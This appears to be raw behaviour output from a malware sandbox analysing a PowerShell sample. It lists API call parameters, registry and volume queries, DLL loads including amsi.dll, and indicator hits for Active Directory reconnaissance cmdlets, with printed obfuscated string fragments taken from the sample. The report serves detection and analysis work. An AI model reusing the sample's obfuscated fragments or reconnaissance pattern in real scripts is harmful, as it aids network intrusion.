called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000fa0c00000000000060b78a1e8e000000c826f30d6a7f0000601b7bec200100001affff7f000000002000000000000000a7406a2cf87f0000a0c48a1e8e000000000000000000000088be8a1e8e000000e30000000000000000cc050baf0100002b0000000000000010be8a1e987880574f8c6244bb63710443003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f006600740000000000cd0b000088be8a1e8e000000000000000498642ff87f00000000000000000000000000000000000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000006018120baf01000000000000000000000000120baf01000000f0a91e8e00000000000000000000000000000000000000000000000000000000000000000000006c006e0000000000c00c120baf0100001200000000000000800000000000000000b08a1e8e00000000000000000000000000000000000000000000000000000000000000000000000800000000000000a014120baf01000000000000000000000000120baf01000000f0a91e8e00000040000000af0100000000000000000000760000000000000000000000000000000000000000000000ffffffffaf01000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000000f0a91e8e00000040000000af0100000000000000000000760000000000000000000000000000000000000000000000ffffffffaf01000000000000000000000000000000000000c0d8050baf01000040c38a1e8e000000887c070baf01000050ef070baf010000000000000000000000000000000000000000000000000000000000000000000000000000000000005076070baf0100006876070baf0100005076070baf010000feffffffffffffff000000000000000006f5040baf010000000000000000000000000000000000000000000000000000d0b08a1e8e000000760000000000000000b08a1e8e00000020b08a1e8e00000000ef070b (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000d60c00000000000000a98a1e8e0000000435f30d6a7f000090407dec200100002cffff7f000000003200000000000000a7406a2cf87f0000000000000000000000000000000000000000000000000000d100000000000000e083050baf0100003e000000000000000000000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e00750000000000000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000e016120baf01000000000000000000000000120baf01000000f0a91e8e00000000000000000000000000000000000000000000000000000000000000000000009200940000000000c00c120baf0100001200000000000000b000000000000000a0a18a1e8e00000000000000000000000000000000000000000000000000000000000000000000000b00000000000000e016120baf01000000000000000000000000120baf01000000f0a91e8e000000400000000000000000000000000000009c0000000000000000000000000000000000000000000000ffffffffaf01000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000c00c000000000000d0a18a1e8e0000001e3cf30d6a7f0000b0de7aec2001000037ffff7f000000003d00000000000000a7406a2cf87f0000a0a18a1e8e000000c0a18a1e8e0000000000004e02000000c600000000000000708c060baf01000047000000000000000200000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e0075005c00500072006f006700 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000006015120baf01000000000000000000000000120baf01000000f0a91e8e0000000000000000000000000000000000000000000000000000000000000000000000a400a60000000000c00c120baf0100001200000000000000c000000000000000709a8a1e8e00000000000000000000000000000000000000000000000000000000000000000000000c000000000000006015120baf01000000000000000000000000120baf01000000f0a91e8e00000040000000af0100000000000000000000ae0000000000000000000000000000000000000000000000ffffffffaf01000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000ae0c000000000000a09a8a1e8e0000003c43f30d6a7f0000a0cc7cec2001000040ffff7f000000004600000000000000a7406a2cf87f0000709a8a1e8e000000909a8a1e8e0000000011080b02000000bd0000000000000030f8050baf0100005a000000000000000200000000000000000000000000000043003a005c00550073006500720073005c0048004100500055004200570053005c0041007000700044006100740061005c0052006f0061006d0069006e0067005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c005300740061007200740020004d0065006e0075005c00500072006f006700 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000202020720000000000030948a1e8e000000ffffffffffffffff01000000000000005c948a1e8e000000000000003307020233072e0000000000f50000000000000000000000000000004498c07a04ee0000000000000000000076e6ffff7f000000ffffffff000000000004000000000000847d020baf01000030938a1e8e00000030948a1e8e000000ffffffff00000000000000000000000030938a1e8e000000e674692cf87f00007f0000000000000000040000000000000000120baf01000000f0a91e8e00000030948a1e8e000000ffffffff00000000000000000000000000000000000000000000000000000000ffffffffaf01000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000000f0a91e8e00000030948a1e8e000000ffffffff00000000000000000000000000000000000000000000000000000000ffffffffaf01000000000000000000000000000000000000c0d8050baf01000080a68a1e8e000000a8ea070baf010000a006080baf01000000000000000000000000000000000000000000000000000000000000000000000e000000000000007000000000000000a8e1070baf01000090e1070baf010000feffffffffffffff210000000100000064f5040baf01000000000000000000000e0000000000000000000000000000000000000000000000d40000000000000077e8ffffff0100006f0077007300200085e8ffff (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000ffa1070baf0100008501000000000000ffa1070baf010000847d020baf010000c0010000000000000200000200000000010000004d006900630072006f0073006f006600740000008917009eaf010000d749032cf87f0000000000000000000020fd070baf0100004301004200000000a0b18a1e8e0000008917009eaf01000085010000000000000200000200000000c9fd0ee555f200000000000000000000000000000000000000000000000000000035ff2bf87f0000d008080baf010000d667642ff87f000085010084af01000062876b2cf87f00008917009e00000000c0010000000000000000000000000000ffffffffaf01000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a642ff87f00000000020baf010000000000000000000000000000000000000000020baf010000a9f70ee555f20000d667642ff87f0000efbe000000000000487f050baf010000f074050baf010000487f050baf01000000000000000000006893070baf01000068b08a1e8e000000b49dfe2bf87f000050cb050baf010000d667642ff87f0000ffffffff00000000a0a5070baf01000000000000000000000000000000000000010000000000000000000000000000003092070baf0100009c96ff2bf87f0000505d070baf0100000c00000000000000080000000000000031d4552df87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c00000000000000080000000000000000000000000000000000000000000000ffffffff0000000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a642ff87f00000000020baf010000000000000000000000000000000000000000020baf010000a9f70ee555f20000d667642ff87f0000efbe000000000000487f050baf010000f074050baf010000487f050baf010000000000000000000088f0070baf01000068b08a1e8e000000b49dfe2bf87f000050cb050baf010000d667642ff87f0000ffffffff0000000000aa070baf010000000000000000000000000000000000000100000000000000000000000000000050ef070baf0100009c96ff2bf87f0000505d070baf0100000c00000000000000080000000000000031d4552df87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00006920) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000996a642ff87f00000000020baf010000000000000000000000000000000000000000020baf010000a9f70ee555f20000d667642ff87f0000efbe0000000000005884050baf010000f074050baf0100005884050baf0100000000000000000000a80e080baf01000068b08a1e8e000000b49dfe2bf87f000050cb050baf010000d667642ff87f0000ffffffff0000000010a9070baf0100000000000000000000000000000000000001000000000000000000000000000000700d080baf0100009c96ff2bf87f0000505d070baf0100000c00000000000000080000000000000031d4552df87f00000000000000000000ffffffff0000000000000000 (UID: 00000000-00006920)31:T551,file/memory contains long string with (Indicator: "Get-ADComputer"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Get-ADOrganizationalUnit"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Get-ADDomainController"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") file/memory contains long string with (Indicator: "Get-ADGroup"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Get-AzSubscription -Exclude *.tmp -Path .\Program Files && ($glsmd)} = "jZXNzb3I";${Get-MsolUser -Exclude *.tmp -ComputerName $appserver01 && ($rapn)} = "oX1RvdGF";${Get-ADComputer -Parallel -Identity CN=Administrator && ($llecln)} = "sKVwl";" (Indicator: "Get-ADComputer"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Get-ADGroup -ErrorVariable errLog -ClassName MSFT_NetIPAddress && ($attmdo)} = 579" (Indicator: "Get-ADGroup"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin") Found string "${Get-ADGroup -ErrorVariable errLog -Depth 2 && ($kntog)} = 159" (Indicator: "Get-ADGroup"; File: "0dccf5e59a322ca6f4396d38e065d2541969dd2be05b8d75a075e7921b34dc85.bin")32:Tc41,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "SEARCHLIST"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "NAMESERVER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "PROFILENAMESERVER"; Value: "")33:T8ef,"powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006920-00000C17-2320110017 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006920-00000C17-2320405175 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006920-00000C17-2320409463 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006920-00000C17-2323895702 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00006920-00000C17-2324346329 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00006920-00000C17-2324983502 "powershell.exe" queries volume information of an entire harddrive"C:\" at 00000000-00006920-00000C17-2325307681 "powershell.exe" queries volume information of "C:\share" at 00000000-00006920-00000C17-2325309300 "powershell.exe" queries volume information of "C:\share" at 00000000-00006920-00000C17-2325391573 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006920-00000C17-2326237807 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006920-00000C17-2326503392 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006920-00000C17-2326602914 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00006920-00000C17-232665114334:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")35:T3681,"powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00006920) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006920) "powershell.exe" 